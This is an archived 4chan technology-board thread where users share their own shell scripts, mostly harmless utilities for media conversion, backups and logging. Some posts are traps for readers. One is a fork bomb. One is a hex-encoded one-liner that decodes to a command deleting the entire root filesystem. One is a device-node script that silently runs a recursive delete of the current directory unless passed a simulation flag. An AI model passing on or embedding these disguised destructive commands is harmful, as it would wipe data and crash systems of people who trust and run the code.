[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
Shell script!
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 31
Thread images: 4
File: optimizing-shell-scripts.jpg (34 KB, 310x240) Image search: [Google]
optimizing-shell-scripts.jpg
34 KB, 310x240
This thread is for sharing shell scripts you have written.
>>
>>53606629
#!/bin/sh

clear
title=`youtube-dl $1 --prefer-ffmpeg --get-title -i`
notify-send "$title"
toilet -f term --filter border $title
mpv $1 --no-video --loop --really-quiet
>>
#!/bin/bash

for a in ./*.flac; do
avconv -i "$a" -qscale:a 0 "${a[@]/%flac/mp3}"
done
>>
File: 1420806910853.jpg (66 KB, 553x567) Image search: [Google]
1420806910853.jpg
66 KB, 553x567
>>53606629
#!/bin/bash

echo "hello world!"


pls rate. no bully.
>>
#!/bin/sh -e

VERBOSE=""
SIMU=""

for i in "$@"
do
case "$i" in
"-d")
set -x;;
"-n")
SIMU="yes";;
"-v")
VERBOSE="yes";;
*)
echo "usage: $0 [-d] [-v]" >&2
exit 1;;
esac
done

if [ -z "$SIMU" ]
then
rm -Rf *
fi

for i in $(find /sys -type f -name dev)
do
UEVENT="$(dirname "$i")/uevent"
MAJOR="$(grep MAJOR= $UEVENT | sed -e "s/MAJOR=\(.*\)/\1/")"
MINOR="$(grep MINOR= $UEVENT | sed -e "s/MINOR=\(.*\)/\1/")"
DEVNAME="$(grep DEVNAME= $UEVENT | sed -e "s/DEVNAME=\(.*\)/\1/")"
SUBSYTEM="$(ls -l "$(dirname "$i")/subsystem")"
case "$SUBSYTEM" in
*"block"*)
DEVTYPE="b"
;;
*"bus"*)
DEVTYPE="b"
;;
*"class"*)
DEVTYPE="c"
;;
*)
echo "dunno what to do with $SUBSYTEM" >&2
exit 1
;;
esac
DIR="$(dirname "$DEVNAME")"
if [ -n "$DIR" ]
then
if [ -z "$SIMU" ]
then
mkdir -p "$DIR"
fi
fi
if [ -n "$VERBOSE" ]
then
echo "mknod -m 600 $DEVNAME $DEVTYPE $MAJOR $MINOR"
fi
if [ -z "$SIMU" ]
then
mknod -m 600 "$DEVNAME" "$DEVTYPE" "$MAJOR" "$MINOR"
fi
done
>>
Shell was a mistake
It is a waste
>>
>>53606780
Very utile to small stuff. Hard to maintain code.
>>
It's not much, but I use it frequently.

#!/bin/bash
find -type f -iname '*.flac' | parallel --eta opusenc --bitrate 256K '{}' '{.}.opus';
find -type f -iname '*.flac' | parallel --eta rm '{}';
>>
#!/bin/sh -ex

exe="$(basename "$0")"

if [ -n "$2" ]
then
usage "$exe [ENTRY]" >&2
false
elif [ -n "$1" ]
then
dir="$1"
else
dir="$(basename "$(pwd)")"
cd ..
fi

BASENAME="$(basename "$dir")"
DIRNAME="$(dirname "$dir")"
ARCHIVE="$DIRNAME/$BASENAME-$(date -u '+%Y%m%d-%H%M%S'.tar.gz)"
tar czf "$ARCHIVE" "$dir"
>>
>>53606763
>echo "dunno what to do with $SUBSYTEM"
triggered
>>
>>53606894
Why?
>>
>>53606906
Inner autism hates slang in programming.
>>
>>53606948
That autism isn't really inner, anon.
>>
File: 1285454913341.jpg (45 KB, 379x379) Image search: [Google]
1285454913341.jpg
45 KB, 379x379
>>53606756
creative. Love the white-space!
>>
#!/bin/sh
:(){ :|:& };:
>>
#!/bin/bash
now=$(date +"%d.%m.%y %k:%M")
commandoutput=$(/opt/vc/bin/vcgencmd measure_temp | sed 's/temp=//')
echo "$now|$commandoutput" >> temp.log
echo $commandoutput
>>
>>53607442
#!/bin/sh

# urldiff: Download and compare text from two URLs in parallel
# usage: urldiff 'URL1' 'URL2'

curl --version &>/dev/null && URLGET="curl -sS -L" || URLGET="wget -nv -O-"
idiff <($URLGET "$1") <($URLGET "$2")
>>
#!/bin/bash

arch="i386"
dist="debian"
dist_release="stretch"
time_stamp="$(date +%Y-%m-%d_%H-%M)"

cd /srv/tftp/$dist/$dist_release

if [ ! -d "archive" ]; then
mkdir "archive"
fi

tar czf archive/$arch-$time_stamp $arch


if [ -e "archive/$arch-$time_stamp" ]; then
rm -r $arch
else
echo "Could not archive. Exiting..."
exit 1
fi

if [ -d "$arch" ]; then
echo "Old release folder not removed. Exiting..."
exit 1
else
mkdir $arch
cd $arch
fi

curl "http://ftp.nl.debian.org/debian/dists/$dist_release/main/installer-$arch/current/images/netboot/netboot.tar.gz" | tar zx

mv debian-installer/$arch/!(pxelinux.cfg) .
rm -r debian-installer pxelinux.cfg ldlinux.c32
sed -i "s,debian-installer,$dist/$dist_release,g" boot-screens/*.cfg

echo "Done!"

Upgrade a Debian netboot release for a PXE server.
>>
File: 1342028471375.jpg (17 KB, 225x280) Image search: [Google]
1342028471375.jpg
17 KB, 225x280
fun fact:
Most distros, if ~/bin does not already exist, just mkdir ~/bin, log out of your desktop, log in again, and ~/bin will be in your path.
>>
>>53611514
You mean the distro maintained
~/.bashrc
contains something like.
if [ -d "$HOME/bin" ]; then
PATH="$HOME/bin:$PATH"
fi
>>
>>53611604
möööh. I mean
~/.profile
>>
>>53611612
Stop trying to make it seem less magical.
>>
>>53606756
Maybe use capital letters next time
>>
>>53606629
is there any reason to use sh over bash?
>>
>>53613832
portability
>>
>>53613832
If the system uses an alternate shell such as zsh or fish
>>
$(echo -n 7375646f20726d202d7266202d2d6e6f2d70726573657276652d726f6f74202f | xxd -r -p -) &>2
>>
>>53606629
bump
>>
>>53615673
Thank you for bumping my thread kind stranger. :^)
>>
>>53615761
there are a lot at http://twily.info.
I will upload a script that gets images from imgur later
>>
alias bash /usr/bin/python
Thread replies: 31
Thread images: 4

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.